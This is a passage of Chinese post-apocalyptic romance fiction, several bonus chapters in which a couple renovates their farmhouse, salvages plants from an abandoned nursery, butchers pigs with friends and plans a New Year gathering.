探险小队不出意外地沦陷了,帮助他们一起运物资,同时参观人新住处,整整七人,见识过阳县的“独栋别墅”后整整齐齐反了水,说回去就打申请报告要迁移到阳县来当永久居民。
因此又拖延了一个月,
即将迎来大雪纷飞时节,兰城减少外派小队,休养生息。
给了阳县足够的时间搜刮。
忙碌了一整年的赵指挥在层层叠叠的文件中抽身,以“新房装修”为由请了一个漫长的冬假,至于阳县,有秦丰坐镇,非年接替探险小队管理,林浓跟赵弋副官管理事务,除非有紧急情况他们才被允许打扰赵弋,而赵弋也不一定会搭理。
他借口很多,农场没通电不方便通讯是其中最常提到的一项,这让那位发电厂的负责人狠狠紧了皮,大冬天的还派人去查看地下地上电缆情况,并在发电厂内部放下话:明年春天就给赵队通上电。
大半年的“调/教”,赵弋手底下这群人已经进化成为了成熟的牛马,不用等赵弋开口,就会主动且积极地替领导解决问题。
正如此时此刻在农场换水龙头的赵弋,不需要时枌吩咐,刚到家就拆箱她从A市带来的物资,主动且积极地开始干活。
全屋上下的水管水龙头需要更换,此外还需要更换浴室的花洒等等,时枌预备着明年通电,甚至搬了不少家电回来。
根本不需要花钱买,赵弋账户里因为出任务又涨回六位数的积分变成了冰冷的数字。
家里所有成员都换上了新家具,甚至虎子大熊的饭盆都换成了不锈钢锃亮的盆,屋内狗窝变成了跟朴素室内装修格格不入的卡通款,突变的风格让两只成年狗脸上都显出了担忧的表情。
他在厨房换水管,时枌就在一楼客厅拆箱,外边院子还堆了一整个院子,甚至还有两车物资在路上等阳县那边给她运过来。
时枌哼着歌,徒手从外边“转”进屋一块漂亮的大理石,问赵弋:“你觉得我们拿这个做个茶几怎么样?”
穿着背心坐在地上长腿无处搁置周身一片起子螺丝的赵弋点头:“好看,可以做。”
这就是她废了大功夫从人家别墅区搬回来的那块大理石,据说上边的山水花纹都是纯天然的,本来是人家放在客厅做隔断的装饰品,被时枌一见倾心要死要活非得搬回家,负责运输的人因为这玩意太重太麻烦不愿意搬,是赵弋自己半夜开辆车给她连夜运回来的。
当时时枌好似被这块大理石勾了魂魄,不分白天黑夜魂牵梦萦,生怕它被别人看上抢走,大半夜在他耳边哭哭唧唧,眼泪都沾湿了枕头,不知道犯了什么病,老中医都把不出来。
但这病很懂事地等大理石落地到达阳县就好了。
番外二“把这里搬空。”
屋子里温度低,时枌把一楼靠着墙的壁炉收拾出来烧柴取暖。
同样的壁炉二楼也有一个,平时用不上的时候都堆着杂物看不出来,天气一冷时枌才会清理,然后把杂物放到楼梯间去。
因为烧着柴,室内已经到达一个非常舒适的温度,虎子大熊还有三只小狗都喜欢趴在壁炉前烤火。
冬天狗子们都要进屋,一楼就是他们的天下,但是不被允许上二楼踩脏地板,时枌就在楼梯旁放了拖鞋,提醒赵弋每次上楼都要换鞋。
换完楼上楼下的水龙头花洒,赵弋被热出一身汗,竟然有种还是夏天的错觉,去冲了澡换了件背心,就跟时枌一起研究新家具。
时枌从A市拖回来最多的就是新家具,甚至包括两套崭新的沙发,楼上的还得等他们一会儿有空把旧沙发搬下来再把新沙发搬上去。
这块大理石要做成茶几并不难,装一个架子,直接把大理石搬上去平铺就行,因为够重也不担心移位。
这点时枌早就想好了,她特地挑选了一个矮桌,面板没带,只剩下腿,正好配她的大理石。
“明天去苗圃?”他一边干活一边跟她聊天。
赵弋自己也没想到他除了在组装枪械外在组装家具方面也算有天赋,基本不用看说明书就能自己装好。
“嗯,得把那辆货车开去,东西很多的。”
A市几乎每户家庭都有车,这一次阳县收获最多的应该就是各种车了,时枌因为捐献弹药,阳县太缺弹药还不上,选择用一部分物资跟她抵,时枌也没客气,要求了几台农用机器还有一辆小车一辆货车,反正她农场地方大放得下,阳县也说除了弹药她都能要。
家里旧家具基本上都是木质,材料粗糙年代久远,之前看着或许还能称得上一句质朴无华,时枌见识过大城市的家具后就瞧不上了,嫌弃这个嫌弃那个,嘱咐赵弋把她看不上的旧家具都搬出去,不是扔掉,因为这些木质家具虽然破旧但也并不是毫无用处,时枌打算放到室外用作造花园的材料,反正是旧物件在外边风吹日晒雨淋坏了也不心疼。
以前条件不好家里也只有时枌自己一个人,需求小,现在多了常住人口赵弋不说,还有一批朋友可能隔三差五要来拜访,时枌得把客卧都重新收拾一遍。
这是一项不低于兰城清理尸潮残余丧尸的大工程。
时枌身体力行地证明自己不是周扒皮,回家当天也只是打理到晚上十点就洗澡睡觉,——要知道赵弋在阳县基本一天二十四小时住在办公室的。
她觉得自己已经很有良心了。
重新回到自家的床,时枌却翻来覆去,疲惫不堪的赵弋今天甚至都没什么兴致,沾床就想睡,结果没想到身边睡了个滚筒洗衣机,掀起疲惫的眼皮,抱住她,声音都哑了:“不想睡?不够累?”
“不是,”时枌精神得很几乎两眼放光看着他,“你不觉得我们家的床不太舒服吗?”
我们家三个字软软刺中赵弋心脏某处,让劳累过度的身体肌肉都舒展开,他此时就像啃完大骨头的虎子一样惬意着,低头很自然地亲了亲她头顶:“明天就给阳县发消息,让他们送个床垫来。”
他果然懂她!
时枌在赵弋家睡了七天,柔软的床垫、真丝的四件套、蓬松的羽绒被!这才是她安全感的来源!
可惜她当时在A市忙着抢家具抢家电都没顾得上床垫!
“我可以自己挑吗?我想让枝蔚帮我挑。”时枌眼睛更亮了,“她眼光好,我相信她!”
就这样活力满满的时枌硬是把赵弋给聊睡着了。
男人已经冒出胡茬的脸上写满了疲惫,眼下隐隐还有青黑,皮肤都被最近这段时间的室内工作捂得白皙不少,让他这个指挥官多了几分周霓说的“小白脸”气质。
时枌抬抬下巴在人嘴角亲了一下,然后满足地抱着他睡去。
第二天中午两人睡饱才醒。
冬天就是这样,天气越冷,越难从温暖的被窝里爬出来。
睡一觉赵弋就恢复了大半,下楼煮粥做早饭,同时生炉子烧热水,今天他们一天都要出门,壁炉不需要生火,但煮粥的间隙,赵弋还是去柴房搬了一批木头过来整齐挨着壁炉旁边的墙壁摆放好,顺便喂了鸡鸭鹅。
那几只猪也得抽时间杀了才行,也不知道现在这个时间腌腊肉还来不来得及。
大概是看见他们家烟囱冒烟,阿奇拎着一桶鲜活的鱼过来,交给赵弋。
这是感谢他们的“收留”以及照顾,注册身份后还正好赶上了A市的零元购,他们去阳县帮忙运送物资还挑选了不少物资,蹭罗辉跟时枌的货车一起送到了这里,之前时枌都不在家,阿奇五个人想了一堆办法想要报答,最后选择了送鱼这条,今天他们终于回来了,阿奇过来打招呼也是送东西。
“这是新鲜的活鱼,能养几天,我挑的都是大鱼,我们几个最近刚学了腌鱼块,时枌爱吃鱼吗?下次我们送过来?”
确实是不错的鱼,甚至都是黑鱼,赵弋听完也意识到这是他们“孝敬”给时枌的,也就接受了,“她口味偏重,喜欢吃辣。”
阿奇点头记下,考虑到他们物资有限,没有辣椒,他半天没说话。
刚报答完人家就跟人家要辣椒是不是有点……
赵弋却跟会读心术似的,去屋外走廊取下两串干辣椒:“太多了吃不完,你拿去吧,不算什么,不用放在心上。”
阿奇差点没感动哭。
正在他感激完准备离开时,赵弋却像是想起了什么叫住他。
“你们今天有空吗?”
阿奇回头:“有空!我跟阿木都有空!”
他们都抛弃了编号,给自己取了新的名字,平时每个人都会安排任务,主导的基本上都是阿奇。
“我跟时枌今天要去苗圃挖一些花草,你们如果来帮忙,我们会给报酬,比如……过几天我们会杀猪,你们需要猪肉吗?”
阿奇惊喜点头。
他们来这里后食物来源是大问题,但是靠河有鱼,替罗辉家工作可以换牛奶,还有时枌给他们的粮食,基本足够。
原来劳动也可以换来独立生存的资源。
这是他们此前从未想过的。
毕竟奴隶的劳动并不值钱,食物也是要看主人的心情,饿肚子才是常态。
“过两个小时出发,”赵弋说,“你们可以先吃个午饭补充体力。”
“好!”
招揽两个劳动力,赵弋心情更好了,煮了南瓜粥,还煎了鸡蛋饼跟香肠。
他们刚回来家里没什么新鲜食材,香肠也所剩无多,看来食物补充是重点。
闻到饭香时枌才起床洗漱完下楼,两人吃饭时赵弋跟她说了阿奇那边的情况。
时枌:“正好,到时候杀猪也能让他们来帮忙。”
也不用劳烦秦丰他们跑一趟了。
“姗姗还怀着孕,要不我们分一些鸡蛋给她?今天要是收工早还能回来煲鸡汤。”时枌自己都想喝鸡汤,赵弋家的阿姨手艺太好,煲的汤比秦丰还好喝。
“鸡蛋确实挺多。”赵弋今天看了厨房,都被满满两柜子鸡蛋惊到了。
“是啊,”时枌也很苦恼,“最近一直在外边,本来余袅帮我们喂鸡鸭什么的就说好把生的蛋都给他们家,但是他们又不要,每次都攒起来放工具房……现在工具房那边还有好多。”
说起鸡鸭,今年她换了新的牲畜栏,但是过冬还是需要做准备的,得给它们搭个棚子防风防雪,避免小鸡崽冻死,材料都在院子里堆着。
吃完饭,赵弋带着多煎的鸡蛋饼用时枌零元购来的陶瓷饭盒带好方便挖苗中途补充体力,开了两辆车,一辆小车一辆货车,阿奇阿木都不会开车,因此赵弋带着他们俩开小车领路,时枌开货车跟在后边。
货车比较高,视野很不一样,坐在上面看前方小车就跟看超市货架上的小玩具似的,时枌莫名嘴角上扬,一路到了苗圃。
这座花园明显是主人精心打理的,爬墙的巨大藤本月季、整齐的汀步石、不规则的小花坛……时枌在火车将花园上看了个大概,就开始心跳加速起来。
不敢想象认真打理清理杂草之后下个春天这里会有多美。
末世之中,人更注重温饱问题,或许有兰城的高官们会有闲情逸致时花弄草,但时枌对这些的喜爱从儿时就扎根,看见这座花园跟秦丰看见新鲜猪肉没什么差别。
她蹦下车,打开货车后箱,分发铁锹铲子,开始指挥。
“这一片的汀步石都要搬走,红砖也是。”这是她造自己花园的材料。
“赵弋你来挖这棵靠墙的藤本,我来修剪。”
“这片百合挖的时候要注意,跟挖土豆一样小心。”
“这一片绣球也是,小心枝条不要折断,尽量保留根系,一起挖出来。”
“我去看看主人屋里有没有花盆。”
一般这种花园主人都会用陶盆造景,正如他室外的植物一样,基本都是种在漂亮带有浮雕的陶盆之中,那么主人家里肯定有存货。
时枌找到了工具房,平稳地深吸一口气,差点尖叫出声。
全部都是陶盆花盆还有小铲子小耙子等等园艺工具!
她很沉稳地走了出来,然后给他们几个男人重新安排任务:“把这里搬空。”
浅浅五个字,赵弋震惊到沉默。
这是什么土匪式发言?
“一辆车可能装不走。”这个看起来像仓库一样的地方里面几乎堆满了,一辆货车说不定还不够,她还要那些植物。
“那就跑两趟。”时枌继续沉稳道。
赵弋:“……”
懂了,开工吧。
番外三毕竟也只有他能上她的床。……
花园内的藤本月季长了太多年,靠近底部的枝条已经手臂粗,太老了,挖过去活性也不好,而且月季这种植物多病多虫,没人打理就会很惨,即便已经是冬天,时枌还是在上边发现了很明显的虫害。
时枌斟酌过后还是选择放弃,而是挑选健康的枝条修剪带回去准备回家扦插繁殖,为避免弄混,时枌根据花园月季形态简单用绳子绑好标记哪些是藤本哪些是灌木月季。
月季不行,但绣球还是可以挖的。
秋冬绣球落叶,看上去光秃秃的枝条芽点饱满,除却一些低矮的绣球,时枌根据叶子还发现了一些木绣球,结果当然是……挖走!
统统挖走!
一些落叶休眠地植物,比如大丽花、玉簪、百合、水仙之类,时枌根据枯萎的叶子以及挖出来的种球确定,就自己开挖。
这种挖球的精细活她自己来,赵弋他们都在搬东西,给她从人家花园里拿了个竹编篓子用来装球。
还好这位花园主人有钱且精致,花园地面不仅铺了一层松鳞,植物还进行了穴改,周围一圈都是松软的营养土,挖起来并不费劲。
时枌挖完一片换一片,每一块地方的种球都装在一起标记它们是同一品种,然后再继续挖避免混淆,这样她回去种的时候也能方便区分。
这个花园花草品种实在太多,第一车赵弋带上阿木开车回去把汀步石还有仓库里的陶盆跟工具都带回去卸到院子里,回来第二车才来帮她搬植物。
结果第二车装满了也没能全部带走,还是等到下午快天黑又装了第三车,剩余还有许多种子跟块根时枌还有点舍不得,打算明天跟赵弋再来收拾,今天天黑了不方便。
回去后,阿奇跟阿木明显辛苦了,累到说不出话,中途的鸡蛋饼似乎没能给他们补充多少体力,但两人都没抱怨,勤勤恳恳帮忙搬东西,还十分小心一点没碰坏那些陶盆。
时枌给了他们一篮子鸡蛋,还有面粉,赵弋顺便教了他们怎么做鸡蛋饼,一开始两人不肯收,赵弋直说:你们这次不收下次我们都不好意思再请你们帮忙。
两人这才收下。
步入冬天,时枌得在下雪之前把这些植物都种下去,不然天气太冷根本没法干活。
但是屋子内要重新“装修”,猪要抓紧时间杀了腌上,鸡鸭也要杀了开卤,再加上花园的建造,就算有挖掘机跟赵弋也根本忙不过来,更别说时枌还要扦插这些枝条。
两人当机立断,还是给秦丰他们打了电话,问他们有没有时间过来帮忙,不需要一次性全部过来,轮班也行。
现在阳县车多,几乎人人都能
开车,他们来农场也就比较方便。
过冬前又是尸潮又是零元购,整个阳县像台功率拉满的机器连轴转了一个多月,天气冷了之后大家就渐渐平稳下来,俨然有了秩序,他们也就没那么忙,听说时枌农场缺人后当晚叶枝蔚就排了班,安排好了轮班的人手。
时枌拿到他们的排班表之后,立马拉上赵弋下楼把一楼男女宿舍的新柜子新床组装好,换上崭新的四件套,就连窗户玻璃跟窗帘都换了新的。
房间比较大,时枌还特地从A市托运了两个上下铺的床,就是为了方便他们来住宿。
时枌边收拾边嘀咕:“之前没回来的时候觉得家里不缺什么,现在到家了才发现这里缺那里也缺,好烦,好想再去一趟A市。”
赵弋安抚道:“阳县有一批人囤了不少货,之后也不需要你专门去A市,去阳县挑,挑好了让他们帮你运过来就行了,还是可以积分交易的。”
时枌这才心情好转。
又把家里上上下下打扫一遍,焕然一新。
第二天一早秦丰叶枝蔚还有张照照就来了。
刚进屋秦丰就扯着嗓子开喊:“烧水烧水!开干!”
张照照骨折休假不用上班,虽然腿不能动,但手还算灵活,叶枝蔚就把他安置在时枌这边当半个劳力。
因此张照照包揽了赵弋之前的家具组装工作。
赵弋看他的眼神,就很……不爽。
时枌很识相地连忙把人拉走,让他去开挖机挖坑种树。
她昨天就规划好了,地上画了圈,赵弋去挖坑,叶枝蔚则是按照时枌的规划图去做木栏杆围花池,秦丰自然是磨刀霍霍出厨房,杀猪去。
时枌一次性杀了三头猪,各个膘肥体壮二百多斤。
原本她一个人是不需要杀这么多的,但是考虑到罗辉一家、阿奇姗姗他们那边、还有来帮忙的秦丰他们,时枌看了看猪圈,发现猪还挺多,于是计划明天再杀两只。
还有那几只吵得不行的大公鸡,秦丰直接去抹了脖子今天打算做烧鸡公,再加上几只母鸡,煲好汤明天带去阳县给白芳糯糯还有宋阡她们补身体。
一下子,栏里的牲畜就少了三分之一,中午鸡鸭还有罗辉家听说他们要开卤锅送来的牛肉一起进了卤水,院子里炉子上的香味飘得老远,把烈烈跟阳阳馋得直流口水,时枌挑了两个卤鸡蛋给他们。
阳阳捧着冒热气的鸡蛋仰头看着时枌,问:“时枌姐姐需要我们帮忙吗?”
自从时枌姐姐回家后他们家院子就没停过,偶尔晚上都是灯火通明,阳阳在窗户看见就问她妈妈,妈妈跟她说时枌姐姐刚回家要收拾屋子所以很忙。
烈烈也看着时枌,满脸写着想帮忙。
“那你们晚上留下来一起吃饭吧,干活不能不给饭吃。”时枌想了想,给他们选了比较轻松的活,“秦丰那边需要人帮忙添柴生火,烈烈去生火怎么样?还可以烤红薯哦。阳阳就负责洗菜剥蒜?”
“好!”两个小孩一听她能用得上自己,整齐嚎了一嗓子,兴致冲冲去找秦丰去帮忙了。
时枌把新鲜的猪肉分割好,一部分不吃的内脏先放到一边,最近气温低,可以放在室外不容易坏,还能给虎子大熊小狗们加餐,挑选肉出来腌腊肉,鸡鸭也一起腌,然后把一部分鲜肉让阳阳去送给阿奇他们家并嘱咐阳阳解释这是他们昨天来帮忙的酬劳,然后另一部分肉给罗辉家,等烈烈阳阳吃完晚饭再顺便带回去。
今天一整天,时枌家的烟囱就没停过。
中午大家简单吃了面条就继续忙碌,赵弋把该挖的坑都挖好了,小坑是他用铁锹下地挖的,处理得相当细致,叶枝蔚把花池都用木栏杆圈了出来,放眼看去已经有了花园的雏形,不是光秃秃的马场了,张照照把一楼客厅糟蹋得不成样子,但也拼好了新的书桌衣柜等等,被秦丰指挥烈烈跟阳阳两个小帮手去帮忙收拾垃圾扔出去,方便他们吃完饭。
今天大家都很辛苦,天气又冷,时枌特地拿出赵弋他爸送的白酒来招待他们。
赵弋在外边热出一身汗,上楼洗完澡换好衣服下来,正好赶上饭点,张照照骨折不方便喝酒,秦丰就去把罗辉余袅叫来一起吃饭喝酒,反正菜多得很。
辣椒炒肉是永远的抢手货,骨头汤都逊色几分,煎鱼块表皮脆脆的内里却很嫩很鲜甜,香喷喷的烧鸡公里面的土豆软烂入味,牛腱子肉切片淋上卤水再撒上香菜,——秦丰特地从阳县扯回来的香菜,被时枌嫌弃得不行。
秦丰意思意思炒了一盘青菜,给满桌的荤增添了一抹健康的绿。
张照照被强制分配了一大碗骨头汤补身体,跟烈烈阳阳一个待遇。
时枌自己崴脚时喝了太多骨头汤,现在根本不想沾,只顾着抢辣椒炒肉,偏偏抢不过手长的秦副指挥,赵弋眼角瞥见,伸长手给她夹了一筷子盖在米饭上,一下子就成了辣椒炒肉盖饭,时枌就吃的很满足。
这一晚秦丰跟罗辉都喝的晕乎乎,满屋子都是酒肉香,虎子大熊跟小狗们都吃饱喝足趴着打哈欠。
罗辉是被余袅嫌弃着抗回去的,赵弋却很清醒,安排好秦丰之后还叫上张照照收拾桌子洗碗。
张照照负责站岗刷完,他则是收拾桌子。
时枌倒是闲了下来。
“那我干什么呢?”她问。
“上楼洗澡睡觉,今天温度有点低,二楼没生火可能不暖和,记得换厚一些的睡衣。”赵弋提醒。
今天一整天都在一楼忙活,一楼壁炉倒是火热,二楼却没怎么上去过,自然没有生火。
“要不要给你灌热水袋?”赵弋又问她。
“不用吧,还没到那个地步。”
时枌正要上楼,叶枝蔚忽然过来,问她哪里有洗发水,她今天热出一身汗又是一阵酒味,想洗个头干净一些。
时枌就带她上二楼洗澡去,帮忙给她拎水。
反正她也要洗。
两人互相帮忙,一边闲聊。
“A市入口都被清理干净了,防尸带里的丧尸都被烧了碾成灰,按你说的装袋保存好用做明年的春肥。”叶枝蔚正在给她搓头。
“那得不少肥吧。”时枌语气充满羡慕。
那么多丧尸那么多肥料,可惜没落到她手里。
听出她的羡慕叶枝蔚抿嘴笑了笑,被她可爱到,“我们清理的时候找到了白狼一群人的尸体。”
准确来说那已经不能算尸体了。
他们炸出口的时候离得太近根本来不及跑,丧尸倾泄而出的时候这几个人直接被踩成了肉泥,甚至没来得及转变成丧尸,叶枝蔚他们会发现这几人也是因为他们身上的衣服跟普通丧尸不一样。
“其余人呢?”
白狼这个下场时枌并不奇怪。
“有的跑了,有的被我们抓了,后续也派到了矿山做苦力。”
两人挤在浴室聊的忘我,搓完叶枝蔚帮她冲头上的泡沫,赵弋上来时看见这场景还以为她俩是一对,愣是一时不知道该怎么开口在原地呆了半天。
还是时枌看见他,稀奇道:“你收拾完了?”
叶枝蔚就很自觉,给时枌冲完头就告辞下楼。
氛围怪怪的。
赵弋过来接手帮忙擦头发,又去壁炉生火方便她烤头发,不然大晚上头发湿着容易感冒。
两人窝在崭新的、柔软的沙发上,时枌靠在他肩头打哈欠,胳膊往上一伸圈着人脖子蹭了蹭。
赵弋莫名其妙开口问:“叶枝蔚跟我,谁更好?”
时枌:“……”
她不作声,更坚定了赵弋心中某个猜测,于是他更来劲了。
“你一开始就跟她走得近,最先接受的也是叶枝蔚,”这话说的越来越酸,“洗头怎么不叫我?我平时伺候得不好吗?”
时枌:“……你懂什么叫小姐妹吗?”
“不懂。”
“你跟秦丰……”
赵弋设想了一下他跟秦丰互相洗头的场景,狠狠给自己恶心了一把,甚至感觉自己喉咙都涌上了酸水。
“你对她很好。”喝了酒的赵弋格外难缠。
“废话,我还对白芳好,对糯糯好。”时枌戳着他脖子,“你别大晚上跟我发酒疯啊。”
喝了酒的赵弋还有一点好,体温高,比平时更暖和,时枌脚丫子都不想远离,贴着人家腰侧取暖。
他跟个火炉一样。
发烫的指尖梳理着潮湿的头发,壁炉跳跃的火光映在两人脸上,借着酒意的赵弋狠狠补偿了一把,直到头发都烘干才抱着人进屋睡觉。
被子里没有提前放热水袋,是凉的,时枌就更会往他怀里钻,这种自然亲近的动作让赵弋那颗容易散发醋味的小心眼得到了安抚。
他跟别人还是不一样的。
毕竟也只有他能上她的床。
赵弋这么想着,心眼越发宽了起来,整个人都轻松不少,扫去一身疲惫。
一觉醒来,时枌预备着还要不要继续哄哄,却发现身边人已经彻底好全,还温声问她早饭想吃鸡汤下粉条还是熬瘦肉粥。
时枌很聪明地把昨晚乱七八糟的醋意揭过,刷完牙甜甜地亲了人一下,
哄着他去下粉条。
秦丰叶枝蔚吃完早饭就带上鸡汤回阳县上班,中午周霓会跟非年一起过来帮忙。
至于为什么不是骨头。
非年用一瓶葡萄酒一条A市搜刮来的过期烟贿赂了骨头换来这次机会,说想瞻仰瞻仰时枌农场,实际想干嘛只有他自己清楚。
刚下车,时枌就给他派了活:去种树。
他都没来得及在周霓面前展现自我,就被投入了使用。
周霓看着她院子里的一堆东西,还有乱七八糟被清理出来的旧家具,摸摸下巴开始规划:“你要不建个新仓库吧?”
想法跟时枌不谋而合。
周霓这次请了一周的假期,趁着工具齐全还有非年这个免费苦力,争取七天就把时枌的新仓库建起来,同时还把洗澡间重新规划整修了一番,既然都开始装修了,时枌也不客气,让赵弋请了发电厂两位电工过来帮忙理清他们家的电路,顺便装好家电,为明年通电做好准备。
番外四“懂了,你妈会安排。……
这个冬天直到第一场大雪时枌的农场才停歇,基本该干的活都完成,屋子里只剩下时枌跟赵弋窝着,平时琢磨得最多的就是吃什么。
屋外的花园基本完工,植物都种下了,之前时枌自己扦插成活的也跟着种下,从苗圃剪回来扦插的才刚刚发根,估计得春天才能下地。
赵弋又托人补了一批物资,家里窗户换了之后隔音跟保暖都更好,室外室内是两个季节,尤其是壁炉一开,养伤的张照照都舍不得离开,但还是在完工后被他赵队无情送走。
不知道几点,时枌抱着柔软的羽绒被迷迷糊糊睁开眼,看见他扭身去桌上拿手表看时间。
以前手表不离身的赵队也习惯了手表放一边,专心干农活。
“十点了,吃什么?”他问。
好问题。
她脑子里把菜谱转了个遍。
没想到赵弋研究起菜谱也是天赋异禀,这段时间几乎都是他在做菜,手艺已经超过她了,直逼他师父秦大厨。
“就……小鸡炖蘑菇?我想吃炖菜,加画卷加粉条。”
周霓送了一批干蘑菇过来,都是她闲着没事采的,她又不喜欢做饭,因此每次过来都会带给时枌,让她留着吃。
“蘑菇得泡,估计得下午才能吃上,这会儿先吃碗粉垫垫肚子?”
“好。”
赵弋下楼做饭,时枌爬起来换好衣服去客厅开窗户通通风,再把壁炉里得灰都收拾了拎到楼下去攒着,等春天惊蛰过后用来杀虫防虫。
时枌的菜园冬天还是能种一部分菜的,冬天不至于把它们冻死,再加上时枌又更新了装备:从A市淘来了农用塑料薄膜,搭了暖棚,里面还是绿油油的。
一个个白色暖棚像是小房子,揭开里面还有不少水汽,为了方便管理,时枌种的菜花样多但数量却不多。
辣椒依旧是有的,番茄还是小苗,这个冬天恐怕吃不上,但是那些生长速度快的青菜长势都还不错,尤其是生菜,绿油油的。
也有不需要暖棚的菜,比如菜薹。
足足三块地的红菜薹,不怕霜冻,到了这个季节反而味道会格外鲜甜,足够她一家吃,有多的还能送给邻居们。
时枌又去收割了一波菜薹,红色的叶子红色的表皮,一掰就断,听声音就很脆。
扩建的工具房跟她的房子联通多了扇门方便出入,工具房里也挂着腊鱼腊肉香肠还有阿奇他们送来的腌鱼块,靠墙还摆放着时枌换好盆搬进来躲避严寒的兰花们,一荤一素,相映成趣。
家里完全不缺食物。
农场外,因为此前A市尸潮爆发,丧尸冲进树林扫荡一遍,秦丰为了安全零元购扫荡一遍,兰城派出探险小队再扫荡一遍,依旧能在外生存的人可太少了,要么申请加入了阳县,要么选择迁移到别处。
这个冬天格外安稳。
摘完菜进屋就闻到饭菜香。
红薯粉条配上酸辣的汤跟辣油,一天开始第一顿格外开胃。
刚进屋,赵弋就塞给她一个热水袋。
“不是说了以后出门戴上手套?”
“忘了嘛,戴手套干活也不方便。”时枌放下菜就开始嗦粉。
赵弋也拿她没办法。
嗦完粉喝口汤再去撸狗。
入冬了,小狗们也长大了,虎子大熊在最近几天又是杀猪又是杀鸡的投喂下都圆润了不少,每条狗都抱着自己的骨头,弄得家里脏兮兮的。
要不是工具房存着腊肉,时枌都想让狗子们去工具房住,那边还是挺暖和的。
闲着没事,时枌就继续琢磨起来。
牛棚羊圈都升级扩张了,小马因为她这边条件不够,去罗辉家跟其他马先过一个冬天,明年她再扩建好了再说,狗狗们至少也要安排一下。
时枌就跟正在泡蘑菇的赵弋商量:“家里哪个地方适合他们呢?”
“我觉得屋外最合适。”
本来说好安排谁谁谁去看门、安排谁谁谁去看马场、安排谁谁谁去看牲畜栏,结果一入冬时枌得知外边还算安全就开始心疼狗了,非得把狗都放进暖和的屋子里来。
结果就是给负责打扫卫生的赵弋增添了巨大的负担。
时枌看了眼圆滚滚的虎子,“那还是派虎子出去吧。”
狗一身皮毛,根本没有那么怕冷。
而且时枌还特地给他们装了新狗窝,木头制的,盖了一层旧棉被,里面也披上了旧衣服,并不冷。
最后决定还是虎子带着老二出去。
“那剩下的狗也要安排吧?”时枌问。
赵弋看了一圈,最终目光落在楼梯间,“就那吧,把回家收拾出来放进工具房,反正现在也打通了,进出方便,这个楼梯间空出来能放两个大狗窝,三只狗挤一挤没问题。”
时枌也觉得没问题,于是当场开干。
虎子跟老二当场被赶了出去。
清理货架、打扫干净、安置狗窝,再简单做了个围栏防止它们出来。
已经准备开始做晚饭的赵弋看了眼她的成果,表示很满意。
这样他拖地的时候就能把狗都关进去不会被踩得乱七八糟了。
高兴得赵弋把小鸡蘑菇炖上就拖了遍地。
大熊委屈巴巴带着小狗仰头看着来来往往的主人。
时枌明显在这几天的滋润下胖了一点点,余袅都看出来了,但是赵弋却没有,反而看着瘦了一些。
果然干家务能瘦下来。
时枌把这一结论发给了叶枝蔚。
叶枝蔚回复:OK,下班就让秦丰做家务。
冬天天黑得早,时枌又起得晚,因此白天的时间就格外珍贵,她看外边还有光亮,问赵弋还要多久开饭。
“半小时。”
“那我去看看花园。”
“戴上手套!”
时枌扯下手套就从前门出去了。
花园在马场跟屋子之间的空地,中间有汀步石作为小路,两边还是黄土,现在时枌嫌冷不想出门,打算之后再去山上弄一些松鳞来铺面,既能防草又有观赏性。
刚种下的植物看着还比较稀疏,尤其是落了叶的绣球们,光秃秃的,但时枌还是留足了空间,因为一旦春天到来植物发芽,如果不留够空间就会因为拥挤影响底下低矮植物的生长。
时枌从苗圃挖了好几棵蓝杉回来,在这个季节是花园的重点,一眼就能看见那漂亮的蓝色跟可爱的株型。
原本在苗圃没人管理长得乱七八糟,时枌在挖的时候就修剪过了,现在已经成活,看着有点磕碜,但只要开春一切都会好起来。
温度低反而适合蓝杉生长,时分都已经看见了新芽。
时枌稀罕得一个个摸过去,又去观察下地的植物状态,如果发现没活的就扯出来扔掉再挑别的种下去。
扭头就看见自己院子张牙舞爪的葡萄树。
今年一年她都没怎么关注葡萄树,果子也没吃上几颗,倒是需要好好修剪了,只是她自己一个人干太麻烦,就暂时
把这事记在心上,先去吃饭,明天再叫上赵弋来修剪葡萄还有其他果树。
一大锅小鸡炖蘑菇,清炒菜薹,两人刚好。
狗子们还没被放出来,在楼梯间吃自己的饭,只是偶尔可怜巴巴抬头看主人们,闻着饭菜香口水都往下淌。
他们会把剩饭跟骨头留下来给它们吃,赵弋嫌弃之前时枌随便把骨头扔地上让狗子们来吃,逼着她改了这个习惯,以减轻她拖地的负担。
“我爸问我们今年过年要不要去兰城。”赵弋给她夹了块软烂的土豆。
“过年?”
“嗯,快过年了。”
时枌好久没过过年了。
她问了下日期,才发现真的还有几天就到年三十。
“阳县也会过年,周霓估计会邀请你过去。”
兰城阳县一东一西,很难抉择啊。
时枌就不说话,看着他,让他拿主意。
“看你自己,是想跟周霓他们一起,还是去兰城跟我爸妈吃饭。”赵弋不接茬。
时枌撇撇嘴。
她记得过年是个很重要的节日,以前每次年三十爷爷奶奶都很重视,说是家人团聚的日子。
那么赵弋也是想去兰城跟家里人吃年夜饭的吧?
可是她又舍不得,这可是她第一回跟这么多新朋友一起过年。
“要不……”她想到了一个两全的办法,“让叔叔阿姨跟周霓他们一起来农场过年吧?”
“你确定?”赵弋已经适应了她这样突变的脑回路,对她这个提议并不惊讶。
“有什么问题吗?”
话都说出来了,时枌越发觉得这事可行,语气更笃定了。
“我们家住不下,还有罗辉家啊,叔叔阿姨是长辈可以住楼上,楼下照旧分宿舍,男生住不下就去罗辉家跟烈烈挤一挤,实在不行去阿奇他们家挤一挤嘛。”
她都安排好了,赵弋自然不会反对。
他也不去多余担心他手下那群队员在他爸妈面前自不自在,饭吃完趁着时枌在洗澡就用两人的手表发消息打电话通知,同时脑子里已经开始安排今年年夜饭的菜谱。
正好,收到他邀请的赵将军打电话过来。
“咳咳,小弋啊,你妈问……哦不,是我想问问,这是你的意思还是时枌的意思啊?”
“她的意思,想请您两位来农场看看,过个年,放心,有地方睡,有热水洗澡,让我妈不用担心过夜问题。”
赵将军明显松了口气,“哦那就好,那就年三十,中午我们过去你看行吗?”
“行,早点过来早点帮忙,还有其他客人。”
“还有谁?”
“我们阳县的朋友。”
“啊……”
“他们会带伴手礼。”赵弋冷不丁提了一句。
赵千嶂一下子就挺直了背脊,“伴手礼?对,这个肯定是需要的,过年嘛……那你觉得,时枌喜欢什么样的礼物?”
“实用的。”
“比如?重机枪可以吗?会不会没有新意?”毕竟上次就送过了。
“可以考虑。”
“还有呢?”
“时枌说之前在我家睡的很好,她很喜欢我们家的床垫跟四件套……”
“懂了,你妈会安排。”
